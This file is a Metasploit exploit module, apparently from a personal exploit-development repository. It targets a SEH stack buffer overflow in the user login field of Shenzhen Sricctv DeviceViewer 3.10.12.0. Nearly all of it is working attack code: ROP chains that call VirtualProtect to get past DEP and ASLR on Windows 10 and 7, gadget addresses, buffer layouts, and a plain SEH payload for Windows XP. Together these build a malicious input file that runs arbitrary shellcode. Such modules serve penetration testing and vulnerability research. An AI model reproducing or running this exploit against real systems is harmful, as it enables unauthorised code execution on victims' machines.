VoidSec-Exploit-Development/modules/exploits/windows/fileformat/device_viewer.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Shenzhen Sricctv Technology DeviceViewer User Field Stack Buffer Overflow',
      'Description'  => %q{
        This exploits a SEH stack buffer overflow in Shenzhen Sricctv Technology DeviceViewer
        v.3.10.12.0 present in the username login field.
        In the "User" login field paste the content of the generated exploit and press "Login".
        This module will bypass DEP and ASLR.
        It was successfully tested on Windows 10, Windows 7 and Windows XP SP3.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Hayden Wright',  # Original discovery
          'Paolo Stagno',  # @Void_Sec
        ],
      'References'  =>
        [
          # [ 'CVE', '2019-11563' ], # Currently rejected, may get resurrected!
          [ 'EDB', '46779' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'Space' => 3368,
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
          #'StackAdjustment' => -1500
        },

      'Targets'    =>
        [
          [ 'Windows 10 (DEP + ASLR Bypass)', # Windows 10 Pro x64 v.1909 Build 18363.720(Windows enforces ASLR and DEP automatically on default configuration)
            {
              'Ret'     =>  0x6ad795e9, # 0x6ad795e9 : {pivot 3324 / 0xcfc} :  # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-52.dll] **   |   {PAGE_EXECUTE_WRITECOPY}
              'Offset'  =>  264
            }
          ],
          [ 'Windows 7 (DEP + ASLR Bypass)', # Windows 7 Pro x86 v.6.1.7601 SP 1 Build 7601(Windows enforces ASLR and DEP automatically on default configuration)
            {
              'Ret'     =>  0x6a19b49f, # 0x6a19b49f : {pivot 3100 / 0xc1c} :  # ADD ESP,0C0C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
              'Offset'  =>  264
            }
          ],
          [ 'Windows XP x86 SEH', # Windows XP Pro x86 v.5.1.2600 SP 3 Build 2600
            {
              'Ret' => 0x69901d06, #POP ESI, POP EDI, RET  avformat-54.dll
              'Offset' => 264
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Apr 10 2019',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'DeviceViewer_v.3.10.12.0_exploit.txt'])])

  end

  def create_rop_nop()
    rop_nop = [
      0x6a4a494a,  # 0x6a4a494a (RVA : 0x003e494a) : # DEC EBX # ADD AL,83 # RETN    ** [avcodec-54.dll] **   |  asciiprint,ascii,alphanum {PAGE_EXECUTE_READ}
    ].flatten.pack("V*")
    return rop_nop
  end

  def create_rop_chain7()
    ## rop chain generated with mona.py - www.corelan.be, fixed by VoidSec
    # Register setup for VirtualProtect() :
    # EAX = NOP (0x90909090)
    # ECX = lpOldProtect (ptr to W address)
    # EDX = NewProtect (0x40)
    # EBX = dwSize
    # ESP = lPAddress (automatic)
    # EBP = ReturnTo (ptr to jmp esp)
    # ESI = ptr to VirtualProtect()
    # EDI = ROP NOP (RETN)
    ##
    rop_gadgets =
    [
      #[---INFO:gadgets_to_set_ebx:---]
      0x6a5d8c78,  # POP EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x6a2420e8,  # NEG EAX # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0x6a17ca04,  # PUSH EAX # POP EBX # POP ESI # RETN    ** [avcodec-54.dll] **   |   {PAGE_EXECUTE_READ}
      0x41414141,  # Padding
      #[---INFO:gadgets_to_set_edx:---]
      0x6a569810,  # POP EDX # RETN [avcodec-54.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x6a5d3987,  # NEG EDX # RETN [avcodec-54.dll]
      #[---INFO:gadgets_to_set_esi:---]
      0x6a5d9990,  # POP EAX # RETN [avcodec-54.dll]
      0x6ad38304,  # ptr to &VirtualProtect() [IAT avcodec-54.dll]
      0x699af4cb,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll]
      0x6a53c7b9,  # XCHG EAX,ESI # RETN [avcodec-54.dll]
      #[---INFO:gadgets_to_set_ebp:---]
      0x699802db,  # POP EBP # RETN [avformat-54.dll]
      0x6a1215c3,  # & push esp # ret  [avcodec-54.dll]
      #[---INFO:gadgets_to_set_ecx:---]
      0x6a4a5715,  # POP ECX # RETN [avcodec-54.dll]
      0x6ae9cac2,  # &Writable location [avutil-50.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x69915933,  # POP EDI # RETN [avformat-54.dll]
      0x6a2420ea,  # RETN (ROP NOP) [avcodec-54.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x6a5dac99,  # POP EAX # RETN [avcodec-54.dll]
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x6a6049b7,  # PUSHAD # RETN [avcodec-54.dll]
    ].flatten.pack("V*")
    return rop_gadgets
  end

  def create_rop_chain10()
    rop_gadgets = [
      ## rop chain generated with mona.py - www.corelan.be, fixed by VoidSec
      #[---INFO:gadgets_to_set_edx:---]
      0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll]
      0xffffffd7,  # put delta into eax (-> put 0x00000040 into edx)
      0x6ad62214,  # ADD EAX,69 # RETN [avcodec-52.dll]
      0x6994f1d6,  # XCHG EAX,EDX # RETN [avformat-54.dll]
      #[---INFO:gadgets_to_set_esi:---]
      0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll]
      0x68bab1f4,  # ptr to &VirtualProtect() [IAT avutil-51.dll]
      0x699150dc,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll]
      0x6ae8bcd8,  # XCHG EAX,ESI # RETN [avcodec-52.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x6b05be37,  # POP EAX # RETN [avcodec-52.dll]
      0xa1a50201,  # put delta into eax (-> put 0x00000201 into ebx)
      0x6ade3410,  # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll]
      0x41414141,  # Filler (compensate)
      0x41414141,  # Filler (compensate)
      0x6ad5b2b4,  # PUSH EAX # POP EBX # RETN [avcodec-52.dll]
      #[---INFO:gadgets_to_set_ebp:---]
      0x6aec5b60,  # POP EBP # RETN [avcodec-52.dll]
      0x6ae590cf,  # & push esp # ret  [avcodec-52.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x699b8706,  # POP EDI # RETN [avformat-54.dll]
      0x6991e152,  # RETN (ROP NOP) [avformat-54.dll]
      #[---INFO:gadgets_to_set_ecx:---]
      0x699cc348,  # POP ECX # RETN [avformat-54.dll]
      0x6b68c50c,  # &Writable location [avcodec-52.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x6b05be46,  # POP EAX # RETN [avcodec-52.dll]
      0x90909090,  # nop
      #[---INFO:pushad:---]
      0x699047dc,  # PUSHAD # RETN [avformat-54.dll]
    ].flatten.pack("V*")
    return rop_gadgets
  end

  def exploit
    max_buff_length = 4000
    buffer = ""
    stack_adj = "\x81\xc4\x24\xfa\xff\xff" # stack adj; add esp, -1500

    if target.ret == 0x6ad795e9
      # win 10, add rop and different layout
      # |                                                     buffer (4000)                                                              |
      # | garbage (254) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
      buffer << make_nops(target['Offset']) # garbage
      buffer << make_nops(4) # nSEH
      buffer << [target.ret].pack("V") # SEH
      buffer << make_nops(384) # filler
      buffer << create_rop_chain10() # ROP
      buffer << stack_adj
      buffer << payload.encoded # shellcode
      buffer << make_nops(max_buff_length-buffer.length) # filler
    elsif target.ret == 0x6a19b49f
      # win 7, add rop and different layout
      # |                                                     buffer (4000)                                                              |
      # | garbage (254) | nSEH (4) | SEH (4) | rop_nop (320) | rop chain (84) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
      buffer << make_nops(target['Offset']) # garbage
      buffer << make_nops(4) # nSEH
      buffer << [target.ret].pack("V") # SEH
      buffer << create_rop_nop()*80
      buffer << create_rop_chain7() # ROP
      buffer << stack_adj
      buffer << payload.encoded # shellcode
      buffer << make_nops(max_buff_length-buffer.length) # filler
    else
      # win xp, plain SEH exploit
      buffer << make_nops(target['Offset'])
      buffer << generate_seh_payload(target.ret)
      buffer << make_nops(max_buff_length-buffer.length)
    end
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)
  end
end